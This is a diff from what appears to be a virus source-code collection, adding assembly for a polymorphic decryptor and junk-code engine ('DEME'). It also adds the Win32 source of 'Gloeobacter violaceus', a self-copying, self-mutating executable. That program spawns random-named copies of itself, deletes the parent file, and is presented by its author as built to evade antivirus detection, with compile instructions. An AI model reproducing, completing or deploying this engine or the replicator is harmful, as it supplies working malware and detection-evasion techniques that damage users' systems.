|
||||||
|
stosb
|
||||||
|
@@Exit:
|
||||||
|
pop bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_GenIncIndex
|
||||||
|
|
||||||
|
proc DEME_GenAddKey near
|
||||||
|
push ax bx
|
||||||
|
mov bx,[DEME_RegKey]
|
||||||
|
call RND
|
||||||
|
mov [DEME_KeyAdd],ax
|
||||||
|
push ax
|
||||||
|
call RND
|
||||||
|
xor ah,ah
|
||||||
|
test al,00000100b
|
||||||
|
je @@1
|
||||||
|
neg [DEME_KeyAdd]
|
||||||
|
mov ah,00101000b
|
||||||
|
@@1:
|
||||||
|
mov al,10000001b
|
||||||
|
stosb
|
||||||
|
mov al,11000000b
|
||||||
|
xor al,ah
|
||||||
|
or al,bl
|
||||||
|
stosb
|
||||||
|
pop ax
|
||||||
|
stosw
|
||||||
|
@@Exit:
|
||||||
|
pop bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_GenAddKey
|
||||||
|
|
||||||
|
proc DEME_GenDecCounter near
|
||||||
|
push ax bx
|
||||||
|
mov bx,[DEME_RegCounter]
|
||||||
|
call RND
|
||||||
|
and ax,3
|
||||||
|
or al,al
|
||||||
|
jne @@1
|
||||||
|
mov al,01001000b
|
||||||
|
or al,bl
|
||||||
|
stosb
|
||||||
|
jmp @@Exit
|
||||||
|
@@1:
|
||||||
|
dec al
|
||||||
|
jne @@2
|
||||||
|
mov al,10000001b
|
||||||
|
stosb
|
||||||
|
mov al,11000000b
|
||||||
|
or al,bl
|
||||||
|
stosb
|
||||||
|
mov ax,-1
|
||||||
|
stosw
|
||||||
|
jmp @@Exit
|
||||||
|
@@2:
|
||||||
|
dec al
|
||||||
|
jne @@3
|
||||||
|
mov al,10000001b
|
||||||
|
stosb
|
||||||
|
mov al,11101000b
|
||||||
|
or al,bl
|
||||||
|
stosb
|
||||||
|
mov ax,1
|
||||||
|
stosw
|
||||||
|
jmp @@Exit
|
||||||
|
@@3:
|
||||||
|
call DEME_GetUnusedReg
|
||||||
|
mov bx,1
|
||||||
|
call DEME_GenLoadReg16
|
||||||
|
mov bx,[DEME_RegCounter]
|
||||||
|
mov bh,al
|
||||||
|
shl bh,3
|
||||||
|
mov al,00101001b
|
||||||
|
stosb
|
||||||
|
mov al,11000000b
|
||||||
|
or al,bl
|
||||||
|
or al,bh
|
||||||
|
stosb
|
||||||
|
@@Exit:
|
||||||
|
pop bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_GenDecCounter
|
||||||
|
|
||||||
|
proc DEME_GenCloseCycle near
|
||||||
|
push ax bx cx dx
|
||||||
|
call RND
|
||||||
|
and ax,3
|
||||||
|
shl ax,1
|
||||||
|
mov bx,ax
|
||||||
|
call [DEME_Clos1Tbl+bx]
|
||||||
|
call RND
|
||||||
|
test al,1
|
||||||
|
je @@1
|
||||||
|
mov al,10011100b
|
||||||
|
stosb
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
mov al,10011101b
|
||||||
|
stosb
|
||||||
|
@@1:
|
||||||
|
call [DEME_Clos2Tbl+bx]
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
call DEME_ClosJmp
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
call DEME_ClosJmpShort
|
||||||
|
call DEME_GenRandomSeq
|
||||||
|
pop dx cx bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_GenCloseCycle
|
||||||
|
|
||||||
|
DEME_Clos1Tbl dw offset DEME_Clos11
|
||||||
|
dw offset DEME_Clos12
|
||||||
|
dw offset DEME_Clos13
|
||||||
|
dw offset DEME_Clos14
|
||||||
|
|
||||||
|
DEME_Clos2Tbl dw offset DEME_Clos21
|
||||||
|
dw offset DEME_Clos22
|
||||||
|
dw offset DEME_Clos21
|
||||||
|
dw offset DEME_Clos21
|
||||||
|
|
||||||
|
proc DEME_Clos11 near
|
||||||
|
push ax bx
|
||||||
|
mov al,10000001b
|
||||||
|
stosb
|
||||||
|
mov ax,[DEME_RegCounter]
|
||||||
|
or al,11111000b
|
||||||
|
stosb
|
||||||
|
xor ax,ax
|
||||||
|
stosw
|
||||||
|
pop bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_Clos11
|
||||||
|
|
||||||
|
proc DEME_Clos12 near
|
||||||
|
push ax bx
|
||||||
|
mov al,10000001b
|
||||||
|
stosb
|
||||||
|
mov ax,[DEME_RegCounter]
|
||||||
|
or al,11111000b
|
||||||
|
stosb
|
||||||
|
xor ax,ax
|
||||||
|
inc ax
|
||||||
|
stosw
|
||||||
|
pop bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_Clos12
|
||||||
|
|
||||||
|
proc DEME_Clos13 near
|
||||||
|
push ax bx
|
||||||
|
mov al,00001001b
|
||||||
|
stosb
|
||||||
|
mov ax,[DEME_RegCounter]
|
||||||
|
mov ah,11000000b
|
||||||
|
or ah,al
|
||||||
|
shl al,3
|
||||||
|
or al,ah
|
||||||
|
stosb
|
||||||
|
pop bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_Clos13
|
||||||
|
|
||||||
|
proc DEME_Clos14 near
|
||||||
|
push ax bx
|
||||||
|
mov al,11110111b
|
||||||
|
stosb
|
||||||
|
mov ax,[DEME_RegCounter]
|
||||||
|
or al,11000000b
|
||||||
|
stosb
|
||||||
|
xor ax,ax
|
||||||
|
dec ax
|
||||||
|
stosw
|
||||||
|
pop bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_Clos14
|
||||||
|
|
||||||
|
proc DEME_Clos21 near
|
||||||
|
push ax
|
||||||
|
mov al,01110100b
|
||||||
|
stosb
|
||||||
|
mov [DEME_JmpShort],di
|
||||||
|
stosb
|
||||||
|
pop ax
|
||||||
|
ret
|
||||||
|
endp DEME_Clos21
|
||||||
|
|
||||||
|
proc DEME_Clos22 near
|
||||||
|
push ax
|
||||||
|
mov al,01110010b
|
||||||
|
stosb
|
||||||
|
mov [DEME_JmpShort],di
|
||||||
|
stosb
|
||||||
|
pop ax
|
||||||
|
ret
|
||||||
|
endp DEME_Clos22
|
||||||
|
|
||||||
|
proc DEME_ClosJmp near
|
||||||
|
push ax
|
||||||
|
mov al,11101001b
|
||||||
|
stosb
|
||||||
|
mov ax,[DEME_LoopAddr]
|
||||||
|
sub ax,di
|
||||||
|
dec ax
|
||||||
|
dec ax
|
||||||
|
stosw
|
||||||
|
pop ax
|
||||||
|
ret
|
||||||
|
endp DEME_ClosJmp
|
||||||
|
|
||||||
|
proc DEME_ClosJmpShort near
|
||||||
|
push ax bx
|
||||||
|
mov ax,di
|
||||||
|
mov bx,[DEME_JmpShort]
|
||||||
|
sub ax,bx
|
||||||
|
dec ax
|
||||||
|
mov [es:bx],al
|
||||||
|
pop bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_ClosJmpShort
|
||||||
|
|
||||||
|
proc DEME_GenEpilog near
|
||||||
|
push ax bx dx
|
||||||
|
call RND
|
||||||
|
and ax,3fh
|
||||||
|
inc ax
|
||||||
|
@@1:
|
||||||
|
call DEME_GenTrash
|
||||||
|
dec ax
|
||||||
|
jnz @@1
|
||||||
|
mov bx,[DEME_AddrBeg]
|
||||||
|
mov dx,di
|
||||||
|
sub dx,[DEME_BuffOffs]
|
||||||
|
add dx,[DEME_Origin]
|
||||||
|
mov [es:bx],dx
|
||||||
|
pop dx bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_GenEpilog
|
||||||
|
|
||||||
|
|
||||||
|
proc DEME_MixRegs near
|
||||||
|
push ax
|
||||||
|
call RND
|
||||||
|
test al,1
|
||||||
|
je @@1
|
||||||
|
xchg bx,cx
|
||||||
|
@@1:
|
||||||
|
test al,2
|
||||||
|
je @@2
|
||||||
|
xchg cx,dx
|
||||||
|
@@2:
|
||||||
|
test al,4
|
||||||
|
je @@3
|
||||||
|
xchg bx,dx
|
||||||
|
@@3:
|
||||||
|
pop ax
|
||||||
|
ret
|
||||||
|
endp DEME_MixRegs
|
||||||
|
|
||||||
|
|
||||||
|
proc Randomize near
|
||||||
|
push ax
|
||||||
|
in ax,40h
|
||||||
|
mov [seed1],ax
|
||||||
|
pop ax
|
||||||
|
ret
|
||||||
|
endp Randomize
|
||||||
|
|
||||||
|
proc RND near
|
||||||
|
push dx
|
||||||
|
mov ax,[seed]
|
||||||
|
xor ax,[seed1]
|
||||||
|
mul ax
|
||||||
|
mov al,dl
|
||||||
|
mov [seed],ax
|
||||||
|
pop dx
|
||||||
|
ret
|
||||||
|
endp RND
|
||||||
|
|
||||||
|
|
||||||
|
;ƒ¥¥à æ¨ï ª®¬ ¤
|
||||||
|
|
||||||
|
proc DEME_GenRandomSeq near
|
||||||
|
;ƒ¥¥à¨â ªãçã ¬ãá®à
|
||||||
|
push ax
|
||||||
|
call RND
|
||||||
|
and ax,0fh
|
||||||
|
inc ax
|
||||||
|
@@1:
|
||||||
|
call DEME_GenTrash
|
||||||
|
dec ax
|
||||||
|
jnz @@1
|
||||||
|
pop ax
|
||||||
|
ret
|
||||||
|
endp DEME_GenRandomSeq
|
||||||
|
|
||||||
|
proc DEME_GenTrash near
|
||||||
|
;ƒ¥¥à¨â '¬ãá®àãî' ª®¬ ¤ã
|
||||||
|
push ax bx
|
||||||
|
call RND
|
||||||
|
and ax,3
|
||||||
|
shl ax,1
|
||||||
|
mov bx,ax
|
||||||
|
call [DEME_TrashTbl+bx]
|
||||||
|
pop bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_GenTrash
|
||||||
|
|
||||||
|
DEME_TrashTbl dw offset DEME_GenCmd1
|
||||||
|
dw offset DEME_GenCmd2
|
||||||
|
dw offset DEME_GenCmd3
|
||||||
|
dw offset DEME_GenCmd4
|
||||||
|
|
||||||
|
proc DEME_GenCmd1 near
|
||||||
|
;ƒ¥¥à¨â 1-¡ ©â®¢ãî «¥¢¥©èãî ª®¬ ¤ã ¨§¢à é îéãî AX
|
||||||
|
ret
|
||||||
|
push ax bx
|
||||||
|
test [DEME_MaskUsed],M_AX
|
||||||
|
jne @@Exit
|
||||||
|
call RND
|
||||||
|
and ax,7
|
||||||
|
mov bx,ax
|
||||||
|
mov al,[DEME_Cmds1+bx]
|
||||||
|
stosb
|
||||||
|
@@Exit:
|
||||||
|
pop bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_GenCmd1
|
||||||
|
|
||||||
|
DEME_Cmds1 db 00110111b ;aaa
|
||||||
|
db 00111111b ;aas
|
||||||
|
db 10011000b ;cbw
|
||||||
|
db 00100111b ;daa
|
||||||
|
db 00101111b ;das
|
||||||
|
db 01001000b ;dec ax
|
||||||
|
db 01000000b ;inc ax
|
||||||
|
db 10011111b ;lahf
|
||||||
|
|
||||||
|
|
||||||
|
proc DEME_GenCmd2 near
|
||||||
|
;ƒ¥¥à¨â 1-®¯¥à ¤ãî ª®¬ ¤ã
|
||||||
|
push ax bx
|
||||||
|
call RND
|
||||||
|
and ax,0fh
|
||||||
|
mov bx,ax
|
||||||
|
shl bx,1
|
||||||
|
mov al,[DEME_Cmds2+bx]
|
||||||
|
stosb
|
||||||
|
mov bl,[DEME_Cmds2+bx+1]
|
||||||
|
call DEME_GetUnusedReg
|
||||||
|
or al,bl
|
||||||
|
stosb
|
||||||
|
pop bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_GenCmd2
|
||||||
|
|
||||||
|
DEME_Cmds2 db 0d1h,11000000b ;rol
|
||||||
|
db 0d1h,11001000b ;ror
|
||||||
|
db 0d1h,11010000b ;rcl
|
||||||
|
db 0d1h,11011000b ;rcr
|
||||||
|
db 0d1h,11100000b ;shl
|
||||||
|
db 0d1h,11101000b ;shr
|
||||||
|
db 0ffh,11000000b ;inc
|
||||||
|
db 0ffh,11001000b ;dec
|
||||||
|
db 0f7h,11010000b ;not
|
||||||
|
db 0f7h,11011000b ;neg
|
||||||
|
db 0d3h,11000000b ;rol cl
|
||||||
|
db 0d3h,11001000b ;ror cl
|
||||||
|
db 0d3h,11010000b ;rcl cl
|
||||||
|
db 0d3h,11011000b ;rcr cl
|
||||||
|
db 0d3h,11100000b ;shl cl
|
||||||
|
db 0d3h,11101000b ;shr cl
|
||||||
|
|
||||||
|
proc DEME_GenCmd3 near
|
||||||
|
;ƒ¥¥à¨â 2-å ®¯¥à ¤ãî ª®¬ ¤ã á ¥¯®á।áâ¢¥ë¬ § 票¥¬
|
||||||
|
push ax bx
|
||||||
|
mov al,[DEME_MaskUsed]
|
||||||
|
push ax
|
||||||
|
or [DEME_MaskUsed],M_AX ;„«ï AX ª®¤ë ª®¬ ¤ ¤à㣨¥
|
||||||
|
call RND
|
||||||
|
xor ah,ah
|
||||||
|
mov bl,9
|
||||||
|
div bl
|
||||||
|
mov bl,ah
|
||||||
|
xor bh,bh
|
||||||
|
shl bx,1
|
||||||
|
mov al,[DEME_Cmds3+bx]
|
||||||
|
stosb
|
||||||
|
mov bl,[DEME_Cmds3+bx+1]
|
||||||
|
call DEME_GetUnusedReg
|
||||||
|
or al,bl
|
||||||
|
stosb
|
||||||
|
call RND
|
||||||
|
stosw
|
||||||
|
pop ax
|
||||||
|
mov [DEME_MaskUsed],al
|
||||||
|
pop bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_GenCmd3
|
||||||
|
|
||||||
|
DEME_Cmds3 db 081h,11000000b ;add
|
||||||
|
db 081h,11010000b ;adc
|
||||||
|
db 081h,11101000b ;sub
|
||||||
|
db 081h,11110000b ;xor
|
||||||
|
db 0f7h,11000000b ;test
|
||||||
|
db 081h,11011000b ;sbb
|
||||||
|
db 081h,11001000b ;or
|
||||||
|
db 081h,11111000b ;cmp
|
||||||
|
db 081h,11100000b ;and
|
||||||
|
; db 0c7h,11000000b ;mov
|
||||||
|
|
||||||
|
|
||||||
|
proc DEME_GenCmd4 near
|
||||||
|
;ƒ¥¥à¨â 2-å ®¯¥à ¤ãî ª®¬ ¤ã
|
||||||
|
push ax bx cx dx
|
||||||
|
|
||||||
|
call RND
|
||||||
|
xor ah,ah
|
||||||
|
mov bl,10
|
||||||
|
div bl
|
||||||
|
mov bl,ah
|
||||||
|
xor bh,bh
|
||||||
|
mov al,[DEME_Cmds4+bx]
|
||||||
|
stosb
|
||||||
|
|
||||||
|
call DEME_GetUnusedReg
|
||||||
|
shl al,3
|
||||||
|
mov dl,al
|
||||||
|
call RND
|
||||||
|
and al,00000111b
|
||||||
|
or al,11000000b
|
||||||
|
or al,dl
|
||||||
|
stosb
|
||||||
|
|
||||||
|
pop dx cx bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_GenCmd4
|
||||||
|
|
||||||
|
DEME_Cmds4 db 003h ;add
|
||||||
|
db 013h ;adc
|
||||||
|
db 02bh ;sub
|
||||||
|
db 033h ;xor
|
||||||
|
db 085h ;test
|
||||||
|
db 01bh ;sbb
|
||||||
|
db 00bh ;or
|
||||||
|
db 03bh ;cmp
|
||||||
|
db 023h ;and
|
||||||
|
db 08bh ;mov
|
||||||
|
|
||||||
|
|
||||||
|
proc DEME_GetUnusedReg near
|
||||||
|
;‚®§¢à é ¥â ¥¨á¯®«ì§ã¥¬ë© ॣ¨áâà (¤«ï ¬ãá®à )
|
||||||
|
push bx
|
||||||
|
mov bl,[DEME_MaskUsed]
|
||||||
|
mov al,M_ALL
|
||||||
|
call DEME_GetAnyReg
|
||||||
|
mov [DEME_MaskUsed],bl
|
||||||
|
pop bx
|
||||||
|
ret
|
||||||
|
endp DEME_GetUnusedReg
|
||||||
|
|
||||||
|
|
||||||
|
proc DEME_GetAnyReg near
|
||||||
|
;‚®§¢à é ¥â ¥¨á¯®«ì§ã¥¬ë© ॣ¨áâà ¨§ ®¯à¥¤¥«¥®© £à㯯ë
|
||||||
|
push bx cx
|
||||||
|
mov bl,al
|
||||||
|
not bl
|
||||||
|
or bl,[DEME_MaskUsed]
|
||||||
|
|
||||||
|
call RND
|
||||||
|
and ax,7
|
||||||
|
mov cl,al
|
||||||
|
mov ah,1
|
||||||
|
rol ah,cl
|
||||||
|
@@11:
|
||||||
|
test ah,bl
|
||||||
|
je @@12
|
||||||
|
inc al
|
||||||
|
and al,7
|
||||||
|
rol ah,1
|
||||||
|
jmp @@11
|
||||||
|
@@12:
|
||||||
|
or [DEME_MaskUsed],ah
|
||||||
|
and ax,7
|
||||||
|
pop cx bx
|
||||||
|
ret
|
||||||
|
endp DEME_GetAnyReg
|
||||||
|
|
||||||
|
|
||||||
|
proc DEME_GenLoadReg16 near
|
||||||
|
;ƒ¥¥à¨â § £à㧪ã ॣ¨áâà
|
||||||
|
;ax - ª ª®£®
|
||||||
|
;bx - 祬
|
||||||
|
push ax bx
|
||||||
|
and al,00000111b
|
||||||
|
or al,10111000b
|
||||||
|
stosb
|
||||||
|
mov ax,bx
|
||||||
|
stosw
|
||||||
|
pop bx ax
|
||||||
|
ret
|
||||||
|
endp DEME_GenLoadReg16
|
||||||
|
|
||||||
|
Seed dw 0
|
||||||
|
Seed1 dw 0
|
||||||
|
DEME_MaskUsed db 0
|
||||||
|
|
||||||
|
DEME_RegIndex dw 0
|
||||||
|
DEME_RegCounter dw 0
|
||||||
|
DEME_RegKey dw 0
|
||||||
|
|
||||||
|
DEME_Origin dw 0
|
||||||
|
DEME_BuffOffs dw 0
|
||||||
|
|
||||||
|
DEME_LoopAddr dw 0
|
||||||
|
DEME_JmpShort dw 0
|
||||||
|
DEME_CodeLen dw 0
|
||||||
|
DEME_Key dw 0
|
||||||
|
DEME_KeyAdd dw 0
|
||||||
|
DEME_AddrBeg dw 0
|
||||||
|
|
||||||
|
POPSTATE
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
BIN
Engines/Virus.Win32.Dina.7z
Normal file
BIN
Engines/Virus.Win32.Dina.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Dizzy.7z
Normal file
BIN
Engines/Virus.Win32.Dizzy.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Dme.7z
Normal file
BIN
Engines/Virus.Win32.Dme.7z
Normal file
Binary file not shown.
BIN
Engines/Virus.Win32.Expo.7z
Normal file
BIN
Engines/Virus.Win32.Expo.7z
Normal file
Binary file not shown.
1107
Engines/Virus.Win32.Flying.asm
Normal file
1107
Engines/Virus.Win32.Flying.asm
Normal file
File diff suppressed because it is too large
Load Diff
673
Engines/Virus.Win32.Gv.ASM
Normal file
673
Engines/Virus.Win32.Gv.ASM
Normal file
@ -0,0 +1,673 @@
|
|||||||
|
Gloeobacter violaceus
|
||||||
|
by Second Part To Hell/[rRlf]
|
||||||
|
www.spth.de.vu
|
||||||
|
spth@priest.com
|
||||||
|
written in May 2005
|
||||||
|
in Austria
|
||||||
|
|
||||||
|
I proudly present my very first real Win32 Project.
|
||||||
|
Before anything else I have to say that this is neighter a real virus
|
||||||
|
nor a real engine. It is a program emulating the nature's mutations.
|
||||||
|
|
||||||
|
I would descripe it as a primitive artificial life form.
|
||||||
|
|
||||||
|
How does it work?
|
||||||
|
1) When executed, it get's the own filename and the parent's filename
|
||||||
|
2) It sleeps for 1500 + (0..4095) milliseconds
|
||||||
|
3) It copies itself to a random filename in the current directory
|
||||||
|
4) 1/4 it mutates:
|
||||||
|
- Point Mutation: ~68.75%
|
||||||
|
- Chromosome Mutation:
|
||||||
|
* Chromosome Inversation
|
||||||
|
* Chromosome Translocation
|
||||||
|
* Chromosome Delection
|
||||||
|
* Chromosome Dublication
|
||||||
|
* Chromosome Inseration
|
||||||
|
5) It executes the new file
|
||||||
|
6) With a chance of ~50% it jmps to 2
|
||||||
|
7) It deletes the partent's file
|
||||||
|
8) It exits it's own process
|
||||||
|
|
||||||
|
Where the hell can you see a primitive artificial life form?
|
||||||
|
|
||||||
|
Well, we can also say, that the project behaves like that:
|
||||||
|
|
||||||
|
1) Birth of the lifeform
|
||||||
|
2) Growing up until it can replicate itself
|
||||||
|
3/4) Replicate - there may happen mistakes while replicating
|
||||||
|
5) Birth of the child
|
||||||
|
6) Maybe it makes another child?!
|
||||||
|
7) Give me more space - Remove the corpse of the parent
|
||||||
|
8) Death of the lifeform
|
||||||
|
|
||||||
|
About the name: I've thought long time about a suitable name,
|
||||||
|
and I think I got a right one: 'Gloeobacter violaceus' are very simple
|
||||||
|
bacteria, and also one of the very first life form on our world.
|
||||||
|
|
||||||
|
With this code I've (more than) partly realized my idea, which I've
|
||||||
|
written down in the article "Code Evolution: Follow nature's example", and
|
||||||
|
I think I've succeded.
|
||||||
|
|
||||||
|
Now let me write some lines about it's behaviour when it's executed:
|
||||||
|
First I have to say that every mutation may kill the children. But nevermind,
|
||||||
|
the same also happens in nature. As I have tested it very well, I've been faced
|
||||||
|
with some strange mutations. Let me tell you some: The filename of the child
|
||||||
|
was not .exe but something else; sometimes the DOS-Box opened (when the MZ was
|
||||||
|
deleted or changed, Windows wanted to run it as a .COM); and the maybe stranges
|
||||||
|
thing ever happend while testing was the creation of two file called 'v' and ' '.
|
||||||
|
One is 1kB and one is 500kB, I can neighter read, overwrite, delete or do anything
|
||||||
|
else with them. And furthermore they have no arguments as creation-time. They are
|
||||||
|
just lost space at my HD, but who cares, I dont need these 501kB :)
|
||||||
|
|
||||||
|
My intention in writing this code was, beside of creating an artificial life form,
|
||||||
|
making a technique, which CAN NOT be fully detect by AVs. Reason: Every BIT (!)
|
||||||
|
can be changed, and there is no way to find out, how the whole code is changed.
|
||||||
|
|
||||||
|
As even the body of the code may be changed, this could also be called metamorphism.
|
||||||
|
But I would not call it 'metamorph', as everything is random (the code don't 'know'
|
||||||
|
what it does).
|
||||||
|
|
||||||
|
Thanks goes to BlueOwl and Dr3f, who helped me with some problems with Win32 APIs.
|
||||||
|
|
||||||
|
For compiling:
|
||||||
|
Delete the into (this!) and use 'flat assembler 1.56'.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Gloeobacter violaceus ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
|
||||||
|
|
||||||
|
include '..\FASM\INCLUDE\win32ax.inc'
|
||||||
|
|
||||||
|
.data
|
||||||
|
systemtime_struct: ; for random number
|
||||||
|
dw 0 ; wYear
|
||||||
|
dw 0 ; wMonth
|
||||||
|
dw 0 ; wDayOfWeek
|
||||||
|
dw 0 ; wDay
|
||||||
|
dw 0 ; wHour
|
||||||
|
dw 0 ; wMinute
|
||||||
|
dw 0 ; wSecond
|
||||||
|
rnd: dw 0 ; wMilliseconds
|
||||||
|
|
||||||
|
rand_name_buffer: ; The random-engine fills this buffer with 8 random (0-255) bytes
|
||||||
|
times 8 db 0
|
||||||
|
|
||||||
|
rnd_file_name: ; This will contain the filename of the new child
|
||||||
|
times 8 db 0
|
||||||
|
db '.exe',0
|
||||||
|
|
||||||
|
current_file_value: ; Will contain the current running filename
|
||||||
|
times 8 db 0
|
||||||
|
db '.exe',0
|
||||||
|
|
||||||
|
parent_file dd 0x0 ; Buffer for pointer to the parent-file-name
|
||||||
|
current_file dd 0x0 ; Buffer for pointer to the current running file
|
||||||
|
file_handle dd 0x0
|
||||||
|
file_size dd 0x0
|
||||||
|
map_pointer dd 0x0
|
||||||
|
map_handle dd 0x0
|
||||||
|
change_byte_offset dd 0x0
|
||||||
|
change_byte_value db 0x0
|
||||||
|
|
||||||
|
StartUp_struct:
|
||||||
|
StartUp_struct_cb dd 0
|
||||||
|
StartUp_struct_lpReserved dd 0
|
||||||
|
StartUp_struct_lpDesktop dd 0
|
||||||
|
StartUp_struct_lpTitle dd 0
|
||||||
|
StartUp_struct_dwX dd 0
|
||||||
|
StartUp_struct_dwY dd 0
|
||||||
|
StartUp_struct_dwXSize dd 0
|
||||||
|
StartUp_struct_dwYSize dd 0
|
||||||
|
StartUp_struct_dwXCountChars dd 0
|
||||||
|
StartUp_struct_dwYCountChars dd 0
|
||||||
|
StartUp_struct_dwFillAttribute dd 0
|
||||||
|
StartUp_struct_dwFlags dd 0
|
||||||
|
StartUp_struct_wShowWindow dw 0
|
||||||
|
StartUp_struct_cbReserved2 dw 0
|
||||||
|
StartUp_struct_lpReserved2 dd 0
|
||||||
|
StartUp_struct_hStdInput dd 0
|
||||||
|
StartUp_struct_hStdOutput dd 0
|
||||||
|
StartUp_struct_hStdError dd 0
|
||||||
|
|
||||||
|
|
||||||
|
ProcessInfo_Struct:
|
||||||
|
PROCESS_INFORMATION_hProcess dd 0
|
||||||
|
PROCESS_INFORMATION_hThread dd 0
|
||||||
|
PROCESS_INFORMATION_dwProcessId dd 0
|
||||||
|
PROCESS_INFORMATION_dwThreadId dd 0
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
.code
|
||||||
|
start:
|
||||||
|
invoke GetCommandLine ; Get the name of the current file
|
||||||
|
|
||||||
|
cmp byte [eax], '"' ; Compare if first byte is ". As GetCommandLine could be ["filename"] or [filename]
|
||||||
|
jne got_my_name ; If no ", then we already have it
|
||||||
|
|
||||||
|
;;; FIRST EXECUTION ;;;
|
||||||
|
|
||||||
|
inc eax ; Delete first "
|
||||||
|
mov ebx, eax ; Save the pointer
|
||||||
|
get_my_name:
|
||||||
|
inc ebx ; Get next byte
|
||||||
|
cmp byte [ebx], '.' ; Compare the value with a dot
|
||||||
|
jne get_my_name ; If not equal, get next letter of the filename
|
||||||
|
|
||||||
|
add ebx, 4 ; Get the pointer of the second "
|
||||||
|
mov byte [ebx], 0x0 ; Del the second "
|
||||||
|
sub ebx, 4 ; Go back to the dot
|
||||||
|
get_my_name2:
|
||||||
|
dec ebx ; Previous letter
|
||||||
|
cmp byte [ebx], '\' ; Check if it's the end of the path (=filestart-1)
|
||||||
|
jne get_my_name2 ; if not, get another letter
|
||||||
|
|
||||||
|
inc ebx ; delete the '\'
|
||||||
|
mov eax, ebx ; eax=ebx=pointer to start of currentfilename
|
||||||
|
|
||||||
|
;;; END FIRST EXECUTION ;;;
|
||||||
|
|
||||||
|
got_my_name:
|
||||||
|
mov byte [eax+12], 0x0 ; make a NULL-terminated string
|
||||||
|
mov [current_file], eax ; Save the filename of the current running process
|
||||||
|
|
||||||
|
add eax, 13 ; Point to the first letter of the parent
|
||||||
|
mov [parent_file], eax ; Save the pointer to the parent
|
||||||
|
|
||||||
|
call random_number ; Get random number
|
||||||
|
mov ecx, [rand_name_buffer] ; Move a random number to ecx
|
||||||
|
and ecx, 1 ; Random number between 0 and 1: New counter
|
||||||
|
|
||||||
|
add ecx, 1 ; ecx++ (counter: 1 or 2 childs)
|
||||||
|
|
||||||
|
create_next_child:
|
||||||
|
push ecx ; Save the counter
|
||||||
|
|
||||||
|
call random_number ; Renew random numbers
|
||||||
|
mov ebp, 1500 ; ebp=1500
|
||||||
|
mov eax, [rand_name_buffer] ; eax=random number
|
||||||
|
and eax, 4095 ; eax=0000 0000 0000 0000 0000 ???? ???? ????
|
||||||
|
add ebp, eax ; ebp=1500+(0..4095)
|
||||||
|
invoke Sleep, ebp ; Sleep 1500+(0..4095) ms
|
||||||
|
|
||||||
|
call get_n_save_random_name ; Get a random filename
|
||||||
|
invoke CopyFile, [current_file], rnd_file_name, 0 ; Copy current file to new file with random name
|
||||||
|
|
||||||
|
call random_number ; Get new random number
|
||||||
|
mov ax, [rand_name_buffer] ; Get them from buffer
|
||||||
|
xor ah, al ; compain 2 bytes
|
||||||
|
and ah, 3 ; ???? ???? -> 0000 00??
|
||||||
|
cmp ah, 2 ; ah=0000 0010?
|
||||||
|
je evolution ; If yes -> evolution
|
||||||
|
noevolution: ; Code continues here after mutation, if there where any
|
||||||
|
call birthofchild ; Make the child living!
|
||||||
|
pop ecx ; Another child?
|
||||||
|
loop create_next_child ; If counter>1, create new child!
|
||||||
|
|
||||||
|
cmp [parent_file], 0x0 ; Compare if parent_file = 0 (first execution?)
|
||||||
|
je Death ; If so, no parent killing, as there is no parent!
|
||||||
|
|
||||||
|
invoke DeleteFile, [parent_file] ; Kill the parent! (sorry mum, sorry dad :D)
|
||||||
|
|
||||||
|
Death:
|
||||||
|
invoke ExitProcess, 0 ; Close current process: Death! :)
|
||||||
|
|
||||||
|
birthofchild:
|
||||||
|
mov esi, [current_file] ; esi=pointer to current file name
|
||||||
|
mov edi, current_file_value ; edi=pointer to buffer for current file name
|
||||||
|
mov ecx, 8 ; counter: 8 bytes to copy
|
||||||
|
rep movsb ; Move ecx byte from [esi] to [edi]
|
||||||
|
|
||||||
|
mov byte [current_file_value-1], 0x20 ; Delete the 0x0
|
||||||
|
invoke CreateProcess, 0x0, rnd_file_name, 0x0, 0x0, FALSE, 0x0, 0x0, 0x0, StartUp_struct, ProcessInfo_Struct ; Create child-process
|
||||||
|
mov byte [current_file_value-1], 0x0 ; Reset the 0x0
|
||||||
|
ret
|
||||||
|
|
||||||
|
random_number:
|
||||||
|
pop edi ; Get value of stack
|
||||||
|
push edi ; Back to the stack
|
||||||
|
mov ecx, 8 ; ecx=counter
|
||||||
|
mov dh, 0xAA ; dh: changes in the function and makes the number little bit more random
|
||||||
|
mov dl, 0x87 ; same as dh
|
||||||
|
random_name_loop:
|
||||||
|
push dx ; Save dx at stack
|
||||||
|
push ecx ; Save counter at stack
|
||||||
|
call random_byte ; Random number in al
|
||||||
|
pop ecx ; get counter
|
||||||
|
xor al, cl ; Counter influences pseudo random number
|
||||||
|
pop dx ; Get dx
|
||||||
|
push ecx
|
||||||
|
xor dx, cx ; Counter influences influncing number
|
||||||
|
add dh, al ; Random number influences influencing number
|
||||||
|
sub dl, al ; Same as dh
|
||||||
|
neg dl ; Neg dl
|
||||||
|
xor dl, dh ; dl XOR dh -> more variability
|
||||||
|
xor al, dl ; random number changes
|
||||||
|
sub ax, di ; value of stack influences random number
|
||||||
|
add ax, dx ; ax+dx
|
||||||
|
mov dl, [rand_name_buffer+ecx-2]
|
||||||
|
